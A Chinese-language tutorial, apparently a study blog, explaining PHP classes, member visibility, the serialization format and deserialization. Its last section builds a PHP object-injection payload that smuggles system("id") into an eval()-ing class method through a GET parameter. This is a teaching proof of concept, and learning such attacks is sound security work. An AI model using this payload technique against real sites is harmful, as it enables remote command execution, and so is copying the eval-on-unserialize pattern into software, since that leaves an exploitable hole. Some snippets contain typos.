1.前期知识:
php
<?php
class 类名{
$name; #定义变量成员1
$sex; #变量成员2
function jinne($vat){ #定义一个函数
cheo $this->name; #在类中调用变量成员1
}
}
?>
将其实例化才能输出
php
<?php
class hero{
var $name;
var $sex';
function jinne($var1) {
echo $this->name;
}
}
$bb = new hero(); #实例化,并赋值给$bb
echo $bb->name = 'pika'; #在外部调用类的name并赋值为pika
echo $bb->sex = 'man'; #在外部调用类的sex并赋值为man
?>

成员变量区分公有,私有以及子类公有非子类私有
|-----------|----------------------------|
| public | 公有,即无论哪都能调用成员变量 |
| private | 私有,即只能在类的内部调用,出了类就不能调用 |
| protected | 子类公有非子类私有,只能在类的内部还在子类的内部调用 |
php
<?php
class hero{
public $name='kaka'; #这是公有
private $sex='man'; #这是私有
protected $phone='165'; #这是子类公有,非子类私有
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
$bb = new hero();
echo $bb->name;
echo $bb->sex;
echo $bb->phone;
?>
执行后可以看到,name可以在外部调用,但sex和phone都不显示而且报错。

php
<?php
class hero{
public $name='kaka';
private $sex='man';
protected $phone='165';
function jineng($var1) {
echo $this->name;
}
}
class hero2 extends hero{
function test(){
echo $this->name;
echo $this->sex;
echo $this->phone;
}
}
$bb= new hero();
$cc=new hero2();
echo $bb->name."</>";
echo $cc->test();
echo $cc->phone();
?>
可以看到,外类可以调用类中的公有成员,但其他成员调用不了,而外类通过子类的函数可以调用public的成员以及protected成员,说明private只有hero自己可以调用,其他人不行。protected可以允许通过子类hero2调用类,但外部调用不行。

2.序列化
是指将上面所学的代码转换为一个字符串,方便存储。

序列化的格式:
主要看字符串: s:长度:字符串;
|-----|------------|-------------|
| 描述 | 序列化前 | 序列化后 |
| 空字符 | null | N; |
| 整型 | 666 | i:666; |
| 浮点型 | 66.6 | d:66.6; |
| 布尔 | true false | b:1; b:0; |
| 字符串 | "pika" | s:4:"pika"; |
示例:
php
<?php
class test{
public $pub='pika';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a); #序列化test这个类
?>
序列化后如下图:首先O代表是一个对象,后面的4代表有4个字符,test是对象的名字即类名。紧接着跟着个1代表对象有1个变量,后面括号括的就是变量,首先变量是字符串类型,有3个字符,叫pub,他的值也是一个字符串类型,有4个字符叫pika。

序列化后public与protected以及private的不同
首先public是正常的序列化描述。如上面略
而private则是会在变量前后加上空格然后在变量名前加上类名,因此序列化后就会格式=%00+类名+%00+变量名,而且他的个数也要加上所以一共有1+4+1+3.
php
<?php
class test{
private $pub='pika';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

protected也是差不多,但与private不同的是他会将类名变为*,其他都一样,个数为1+1+1+3=6
php
<?php
class test{
protected $pub='pika';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

存在两个或者多个O解析:
如图:首先一个对象里有一个test2,它的成员是ben,但ben的值是也是一个对象,说明ben的值是一个实例化的对象(即new test()),因此它是一个新的对象,test它的成员有1个叫pub,pub的值是pika。
php
<?php
class test{
var $pub='pika';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
function __construct(){
$this->ben=new test();
}
}
$a = new test2();
echo serialize($a);
?>
##不使用魔法函数__construct的方法
<?php
class test{
var $pub='pika';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
}
$a = new test();
$b = new test2();
$b->ben = $a;
echo serialize($b);
?>
3.反序列化
反序列化就是将序列化后的字符串转换为对象。反序列化不触发类成员,反序列化的值与对象里的值没关系,而且反序列的值只与反序列化的值有关系。

示例:
首先为了直观学习,先生成一个序列化。
php
<?php
highlight_file(__FILE__);
class test {
public $a = 'benben';
protected $b = 666;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test(); #实例
$d = serialize($d); #将其序列化
echo $d;

O:4:"test":3:{s:1:"a";s:6:"benben";s:4:" * b";i:666;s:7:" test c";b:0;}
现在开始反序列化,知道序列化的值进行反序列化
php
<?php
#一个反序列
$a = 'O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:" test c";b:0;}';
#进行url编码
$b = urldecode($a);
#反序列化
$c = unserialize($b);
#输出反序列化
var_dump($c);
?>

然后根据反序列的值只与序列化的值相关,不要类的值相关(漏洞的前提知识)。
因此修改序列化的值为hacke,输出的结果也改变了,这也是反序列化的漏洞前提知识。
php
<?php
$d = 'O:4:"test":3:{s:1:"a";s:5:"hacke";s:4:"%00*%00b";i:666;s:7:" test c";b:0;}';
$e = urldecode($d);
$f = unserialize($e);
var_dump($f);
?>

再提一个调用类里的函数。
已经修改了序列化的参数,然后进行编码并反序列化,现在需要调用类里的函数。
需要调用类里的函数就要代码中有这个类的函数如下代码。通过这个代码就能利用displauVar函数执行test类中的a,而且a的值是反序列化的值。
php
<?php
class test {
public $a = 'benben';
protected $b = 666;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = 'O:4:"test":3:{s:1:"a";s:5:"hacke";s:4:"%00*%00b";i:666;s:7:" test c";b:0;}';
$e = urldecode($d);
$f = unserialize($e);
$f->displayVar();
?>

4.反序列化的普通利用漏洞
要已知存在反序列漏洞,然后将其源码复制,构造。

先复制其源码,然后进行解析构造,未修改时的序列化代码。


但这只是源来的序列化现在修改为需要的序列化。
php
<?php
error_reporting(0);
class test{
public $a = 'system("id");';
public function displayVar() {
eval($this->a);
}
}
$a = new test();
$b = serialize($a);
var_dump($b);
?>
得到序列化结果:O:4:"test":1:{s:1:"a";s:13:"system("id");";}
最后分析源来的代码可以知道是通过GET的benben参数来获取字符串,然后再进行反序列化,最后在调用类函数。因此。
先在php环境中测试一下,是成功的

因为id执行不出来所以换了cd

这就是反序列的普通利用。
持续更新ing